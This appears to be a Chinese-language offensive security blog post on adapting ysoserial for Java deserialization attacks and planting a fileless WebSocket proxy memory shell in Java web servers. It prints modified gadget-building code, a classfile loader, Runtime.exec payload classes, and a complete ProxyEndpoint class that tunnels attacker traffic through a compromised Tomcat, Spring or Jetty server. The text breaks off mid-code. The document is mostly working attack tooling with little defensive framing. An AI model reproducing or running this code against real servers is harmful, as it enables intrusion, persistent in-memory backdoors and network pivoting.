本文主要是围绕在Java反序列化利用过程中,默认使用 ysoserial 带来的一些问题和局限性。通对代码的二次改造,最终能完成序列化数据的体积的减少和Websocket类型正向代理的无文件植入。
常用改造 ysoserial 任意类加载执行方式
在使用ysoserial的时候,部分gadget最终的命令执行都是通过Gadgets.createTemplatesImpl实现的。
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replace("\\", "\\\\").replace("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
在原始的Gadgets.createTemplatesImpl方法中,使用了Javassist来构建templates的_bytecodes属性,在构建时设置了父类为AbstractTranslet,设置了static方法内容为Runtime命令执行。
由于单纯的命令执行还是非常局限,通常需要转换为代码执行。大家为了更方便的实现命令执行回显或中内存马,在ysoserial中新增了codefile、classfile等逻辑。
}else if(command.startsWith("classfile:")){
String path = command.split(":")[1];
FileInputStream in =new FileInputStream(new File(path));
classBytes=new byte[in.available()];
in.read(classBytes);
in.close();
在classfile逻辑中,不再需要麻烦的使用javassist来构建_bytecodes属性,而是直接传入class文件路径。在编写codefile时,第一步就需要继承AbstractTranslet类,然后在构造方法或者static代码块中编写利用代码。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class CMD extends AbstractTranslet {
public CMD() throws IOException {
Runtime.getRuntime().exec("open -a calculator.app");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
反序列后成功执行了代码,移除继承AbstractTranslet后,
import java.io.IOException;
public class CMD{
public CMD() throws IOException {
Runtime.getRuntime().exec("open -a calculator.app");
}
}
也产生了异常但是没有执行代码,虽然需要继承AbstractTranslet才能利用,但在之前的各种利用中都不会带来什么影响,所以一直没去研究过为什么要继承AbstractTranslet才能利用。但在利用最近出的WebSocket内存马技术时,因为要继承AbstractTranslet带来了一些不便。
反序列化植入 WebSocket Proxy
wsMemShell/Tomcat_Spring_Jetty at main · veo/wsMemShell
作者提供了反序列化中wsCmd的代码,不过没有提供反序列中wsProxy的代码,自己就尝试去改了改。
作者提供了wsProxy.jsp,https://github.com/veo/wsMemShell/blob/main/Tomcat_Spring_Jetty/wsproxy.jsp 直接照着jsp改一份java版本。
刚开始就遇到了问题,以前中filter/listener内存马比较多,因为javax.servlet.filter、ServletRequestListener都是接口,那么可以继承AbstractTranslet同时实现这些接口,就不需要defineClass了,个人也不太喜欢defineClass(因为要改代码的时候略微麻烦),
public class Tomcat_mbean_add_listener extends AbstractTranslet implements ServletRequestListener {
中websocket内存马的时候,变成了抽象类javax.xml.ws.Endpoint,由于java不允许实现多继承,继承了AbstractTranslet后,无法再继承Endpoint。
实在没办法,只能老老实实defineClass了,先将wsProxy.jsp中的ProxyEndpoint抽出来改为java。
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import javax.websocket.*;
import java.io.ByteArrayOutputStream;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.AsynchronousSocketChannel;
import java.nio.channels.CompletionHandler;
import java.util.HashMap;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;
public class ProxyEndpoint extends Endpoint {
long i =0;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HashMap<String, AsynchronousSocketChannel> map = new HashMap<String,AsynchronousSocketChannel>();
static class Attach {
public AsynchronousSocketChannel client;
public Session channel;
}
void readFromServer(Session channel,AsynchronousSocketChannel client){
final ByteBuffer buffer = ByteBuffer.allocate(50000);
Attach attach = new Attach();
attach.client = client;
attach.channel = channel;
client.read(buffer, attach, new CompletionHandler<Integer, Attach>() {
@Override
public void completed(Integer result, final Attach scAttachment) {
buffer.clear();
try {
if(buffer.hasRemaining() && result>=0)
{
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());
if (scAttachment.channel.isOpen()) {
scAttachment.channel.getBasicRemote().sendBinary(q);
}
baos = new ByteArrayOutputStream();
readFromServer(scAttachment.channel,scAttachment.client);
}else{
if(result > 0)
{
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
readFromServer(scAttachment.channel,scAttachment.client);
}
}
} catch (Exception ignored) {}
}
@Override
public void failed(Throwable t, Attach scAttachment) {t.printStackTrace();}
});
}
void process(ByteBuffer z,Session channel)
{
try{
if(i>1)
{
AsynchronousSocketChannel client = map.get(channel.getId());
client.write(z).get();
z.flip();
z.clear();
}
else if(i==1)
{
String values = new String(z.array());
String[] array = values.split(" ");
String[] addrarray = array[1].split(":");
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
int po = Integer.parseInt(addrarray[1]);
InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po);
Future<Void> future = client.connect(hostAddress);
try {
future.get(10, TimeUnit.SECONDS);
} catch(Exception ignored){
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
return;
}
map.put(channel.getId(), client);
readFromServer(channel,client);
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
}
}catch(Exception ignored){
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
i=0;
session.setMaxBinaryMessageBufferSize(1024*1024*20);
session.setMaxTextMessageBufferSize(1024*1024*20);
session.addMessageHandler(new MessageHandler.Whole<ByteBuffer>() {
@Override
public void onMessage(ByteBuffer message) {
try {
message.clear();
i++;
process(message,session);
} catch (Exception ignored) {
}
}
});
}
}
正常流程是将ProxyEndpoint编译为class后,再对class文件base64编码,但是在编译后会发现生成了多个class文件,ProxyEndpoint$Attach.class、ProxyEndpoint.class、ProxyEndpoint$2.class、ProxyEndpoint$1.class,这里因为ProxyEndpoint里面有多个内部类,导致生成了多个class文件。
这时候要defineClass就比较麻烦了,需要把这些内部类也一起defineClass,写了个servlet测试四个defineClass后,代理确实能够正常使用。
String path = request.getParameter("path");
ServletContext servletContext = request.getSession().getServletContext();
byte [] b = null;
try {